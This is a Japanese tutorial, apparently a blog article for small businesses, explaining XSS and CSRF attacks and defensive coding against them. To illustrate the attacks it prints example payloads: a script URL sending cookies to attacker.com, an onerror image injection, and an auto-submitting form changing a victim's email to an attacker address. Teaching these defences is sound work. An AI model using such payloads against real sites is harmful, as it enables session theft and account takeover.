XSSとCSRFの基本を理解する
Webアプリケーションは企業活動に欠かせないツールですが、インターネット経由で誰でもアクセスできるため、常に攻撃のリスクにさらされています。特に中小企業は、大企業と比べてセキュリティ対策が手薄になりがちで、攻撃者にとって狙いやすい存在です。
この記事では、Webアプリのセキュリティで特に重要なXSS(クロスサイトスクリプティング)とCSRF(クロスサイトリクエストフォージェリ)について、初心者の方でも実践できる対策方法を解説します。
XSSとは何か
XSS(Cross-Site Scripting)は、Webサイトに悪意のあるスクリプトを埋め込む攻撃手法です。攻撃者がJavaScriptコードを含むデータをWebサイトに送信し、それが適切に処理されずに表示されると、閲覧者のブラウザでスクリプトが実行されてしまいます。
XSS攻撃が成功すると、以下のような被害が発生します。
- Cookie情報の窃取:セッションIDが盗まれ、アカウントが乗っ取られる
- キーロガーの埋め込み:パスワードやクレジットカード番号が盗まれる
- フィッシングサイトへの誘導:正規サイト上に偽のログインフォームを表示
- マルウェアの配布:悪意のあるファイルをダウンロードさせる
問い合わせフォーム、商品レビュー、掲示板など、ユーザー入力を表示する機能があれば、XSS攻撃のリスクがあります。
CSRFとは何か
CSRF(Cross-Site Request Forgery)は、ユーザーが意図しない操作を強制的に実行させる攻撃手法です。ユーザーがWebサイトにログインしている状態で、攻撃者が用意した罠サイトを訪問すると、知らないうちに以下のような操作が実行されます。
- パスワードやメールアドレスの変更
- 商品の購入や決済処理
- 退会処理や設定変更
- SNSでの投稿や友達申請
CSRF攻撃の特徴は、正規のログイン状態を悪用する点です。サーバーは正規ユーザーからのリクエストと判断してしまうため、攻撃が成立します。
XSSとCSRFの違い
両者は攻撃の仕組みと目的が異なります。
| 比較項目 | XSS | CSRF |
|---|---|---|
| 攻撃の目的 | スクリプトを実行させる | 意図しない操作を実行させる |
| 悪用するもの | 入力値の不適切な処理 | ログイン状態(Cookie) |
| 主な被害 | Cookie盗難、情報窃取 | 不正送金、設定変更 |
| 主な対策 | エスケープ処理、CSP | CSRFトークン、SameSite Cookie |
重要なのは、XSSとCSRFは組み合わせて使われることもあるという点です。XSS脆弱性があると、CSRFトークンを無効化するスクリプトを実行できてしまうため、両方の対策が必須です。
XSS攻撃の3つのタイプ
XSSには攻撃の仕組みによって3つのタイプがあります。それぞれの特徴を理解することで、適切な対策を講じることができます。
反射型XSS(Reflected XSS)
攻撃コードがサーバーで一時的に処理され、即座にユーザーに返されるタイプです。攻撃者は悪意のあるスクリプトを含むURLを作成し、メールやSNSでユーザーに送信します。
例えば、検索機能で以下のようなURLがあるとします。
https://example.com/search?q=<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
適切なエスケープ処理がされていないと、このURLをクリックしたユーザーのCookie情報が攻撃者のサーバーに送信されてしまいます。
格納型XSS(Stored XSS)
攻撃コードがデータベースに保存され、ページが表示されるたびに実行されるタイプで、最も危険なXSSです。
攻撃者が掲示板やコメント欄に悪意のあるスクリプトを投稿すると、そのページを見た全てのユーザーのブラウザでスクリプトが実行されます。
格納型XSSが特に危険な理由は以下の通りです。
- ユーザーを罠に誘導する必要がない
- 攻撃コードが削除されるまで被害が継続
- 人気のあるページほど被害者が増える
商品レビュー、お問い合わせ内容の管理画面表示、ユーザープロフィール編集機能などで発生するリスクがあります。
DOM Based XSS
サーバー側ではなく、ブラウザ上のJavaScript処理で発生するXSSです。他の2つと異なり、サーバーを経由せずにクライアント側だけで攻撃が完結します。
例えば、以下のようなJavaScriptコードがあるとします。
const name = location.hash.substring(1);
document.getElementById('welcome').innerHTML = 'ようこそ、' + name + 'さん';
このコードに対して、以下のようなURLでアクセスすると攻撃が成立します。
https://example.com/page.html#<img src=x onerror=alert(document.cookie)>
DOM Based XSSは、サーバーログに痕跡が残りにくく、従来のWAFで検知しにくいという特徴があります。ReactやVueなどのモダンなフレームワークでも、dangerouslySetInnerHTMLやv-htmlを不適切に使用すると脆弱性が生まれます。
CSRF攻撃の仕組み
CSRF攻撃がなぜ成功してしまうのか、その仕組みを理解しましょう。
Cookie認証の特性を悪用する
多くのWebアプリケーションは、ユーザーがログインするとセッションIDを含むCookieをブラウザに保存します。その後のリクエストでは、このCookieが自動的に送信されることでログイン状態が維持されます。
ここに落とし穴があります。Cookieは同じドメインへのリクエストであれば、どのページから送信されても自動的に付与されるのです。
攻撃の流れは以下の通りです。
- ユーザーがオンラインバンキングにログイン
- ログアウトせずに、別のタブで攻撃者の罠サイトを訪問
- 罠サイトに仕込まれたコードが、ログイン中のサイトにリクエストを送信
- リクエストには自動的にログイン中のCookieが含まれる
- サーバーは正規ユーザーからのリクエストと判断して処理を実行
代表的な攻撃シナリオ
画像タグを使った攻撃
GETリクエストで重要な操作ができるサイトが対象です。
<img src="https://example.com/delete_account?confirm=yes">
ユーザーが罠ページを開いただけで、アカウント削除が実行されます。
自動送信フォームを使った攻撃
POSTリクエストが必要な場合でも、JavaScriptで自動送信させることができます。
<form id="csrf" action="https://example.com/change_email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>
document.getElementById('csrf').submit();
</script>
XSSと組み合わせた攻撃
XSS脆弱性がある場合、CSRFトークンを読み取って正規のリクエストを送信できてしまいます。このため、XSS対策とCSRF対策は両方とも必須です。
XSS対策の実践方法
XSS攻撃を防ぐためには、ユーザーからの入力を信頼せず、適切に処理することが基本です。
エスケープ処理を徹底する
エスケープ処理とは、HTMLやJavaScriptで特別な意味を持つ文字を、無害な文字列に変換することです。これがXSS対策の最も基本的で重要な手法です。
主な変換例:
<→<>→>&→&"→"'→'
各プログラミング言語でのエスケープ処理の例を紹介します。
PHP
$user_input = $_GET['name'];
$safe_output = htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
echo "<p>こんにちは、{$safe_output}さん</p>";
Python
from html import escape
user_input = request.GET.get('name', '')
safe_output = escape(user_input)
print(f"<p>こんにちは、{safe_output}さん</p>")
重要な注意点:エスケープ処理は出力時に行うのが原則です。データベース保存前にエスケープすると、元のデータが失われたり、複数回エスケープされて文字化けしたりします。
フレームワークの自動エスケープ機能を活用する
現代的なWebフレームワークの多くは、デフォルトで自動エスケープ機能を持っています。
Django(Python)
<p>こんにちは、{{ user_name }}さん</p> {# 自動エスケープされる #}
Ruby on Rails
<p>こんにちは、<%= @user_name %>さん</p> <%# 自動エスケープされる %>
React
<p>こんにちは、{userName}さん</p> {/* 自動エスケープされる */}
ただし、dangerouslySetInnerHTML(React)やv-html(Vue)などの機能を使う場合は、手動でのエスケープが必要です。
Content Security Policy(CSP)を設定する
CSPは、ブラウザに対してどのスクリプトの実行を許可するかを指示するセキュリティ機能です。HTTPヘッダーで設定します。
基本的な設定例:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com
この設定により、以下のような制限がかかります。
- 自サイト以外のスクリプトは実行されない
- インラインスクリプト(
<script>タグ内のコード)は実行されない eval()などの危険な関数は使用できない
CSPを設定することで、XSS攻撃が成功してもスクリプトの実行を防ぐことができます。
CSRF対策の実践方法
CSRF攻撃を防ぐためには、リクエストが本当にユーザーの意図したものかを確認する仕組みが必要です。
CSRFトークンを実装する
CSRFトークンは、フォーム送信時にランダムな値を含めることで、正規のリクエストかを検証する仕組みです。
実装の流れ:
- フォーム表示時に、サーバーがランダムなトークンを生成
- トークンをセッションに保存し、フォームのhidden項目に埋め込む
- フォーム送信時に、セッションのトークンと送信されたトークンを比較
- 一致すれば正規のリクエストと判断
PHP(Laravel)の例
<!-- フォーム -->
<form method="POST" action="/update">
@csrf <!-- トークンが自動生成される -->
<input type="email" name="email">
<button type="submit">更新</button>
</form>
Django(Python)の例
<form method="POST">
{% csrf_token %} <!-- トークンが自動生成される -->
<input type="email" name="email">
<button type="submit">更新</button>
</form>
SameSite Cookie属性を設定する
SameSite属性は、Cookieを送信するタイミングを制限する仕組みです。
設定値:
Strict:同一サイトからのリクエストのみCookieを送信(最も厳格)Lax:通常のリンククリックではCookieを送信するが、フォーム送信では送信しない(推奨)None:すべてのリクエストでCookieを送信(CSRF対策にならない)
PHP
setcookie('session_id', $value, [
'samesite' => 'Lax',
'secure' => true,
'httponly' => true
]);
Node.js(Express)
res.cookie('session_id', value, {
sameSite: 'lax',
secure: true,
httpOnly: true
});
重要な操作には再認証を求める
パスワード変更や送金など、特に重要な操作については、現在のパスワードの再入力を求めることで、CSRF攻撃のリスクを大幅に減らせます。
また、操作の確認画面を表示することで、ユーザーが意図しない操作に気づく機会を提供できます。
開発・運用フェーズ別のチェックポイント
セキュリティ対策は、開発の各段階で適切に実施することが重要です。
設計段階
- ユーザー入力を受け付ける機能をすべて洗い出す
- 認証が必要な機能を明確にする
- フレームワークのセキュリティ機能を確認する
- セキュリティ要件を仕様書に明記する
開発・テスト段階
- エスケープ処理が漏れている箇所がないか確認
- CSRFトークンがすべてのフォームに実装されているか確認
- 危険な関数(
innerHTML、eval()など)の使用箇所をチェック - セキュリティテストツールで脆弱性診断を実施
リリース前
- 第三者によるセキュリティ診断を検討
- CSPヘッダーが適切に設定されているか確認
- Cookie属性(SameSite、Secure、HttpOnly)が適切か確認
- エラーメッセージで機密情報が漏洩していないか確認
運用後
- 定期的なセキュリティアップデートの適用
- 脆弱性情報の収集と対応
- アクセスログの監視
- インシデント発生時の対応手順を整備
まとめ:今日から始めるセキュリティ対策
XSSとCSRFは、Webアプリケーションの代表的な脆弱性です。適切な対策を講じることで、これらの攻撃から大切な顧客情報とビジネスを守ることができます。
対策の重要ポイント
XSS対策
- ユーザー入力は必ずエスケープ処理する
- フレームワークの自動エスケープ機能を活用
- CSPヘッダーを設定する
- 危険な関数の使用を避ける
CSRF対策
- CSRFトークンを実装する
- SameSite Cookie属性を設定する
- 重要な操作には再認証を求める
- GETリクエストで状態を変更しない
まず何から始めるべきか
リソースが限られている中小企業では、以下の順序で対策を進めることをおすすめします。
- 使用しているフレームワークのセキュリティ機能を確認:多くの機能がデフォルトで提供されています
- CSRFトークンの実装:フレームワークの機能を使えば比較的容易に実装できます
- Cookie属性の設定:設定ファイルの変更だけで対応可能です
- CSPヘッダーの設定:段階的に厳格化していきます
専門家に相談すべきケース
以下のような場合は、セキュリティの専門家に相談することをおすすめします。
- 顧客の個人情報やクレジットカード情報を扱うシステム
- 金融取引や決済機能を持つシステム
- 既存システムの脆弱性診断を実施したい場合
- セキュリティインシデントが発生した場合
Webアプリケーションのセキュリティは、一度対策すれば終わりではありません。新しい攻撃手法が日々生まれているため、継続的な学習と改善が必要です。まずは基本的な対策から始め、段階的にセキュリティレベルを高めていきましょう。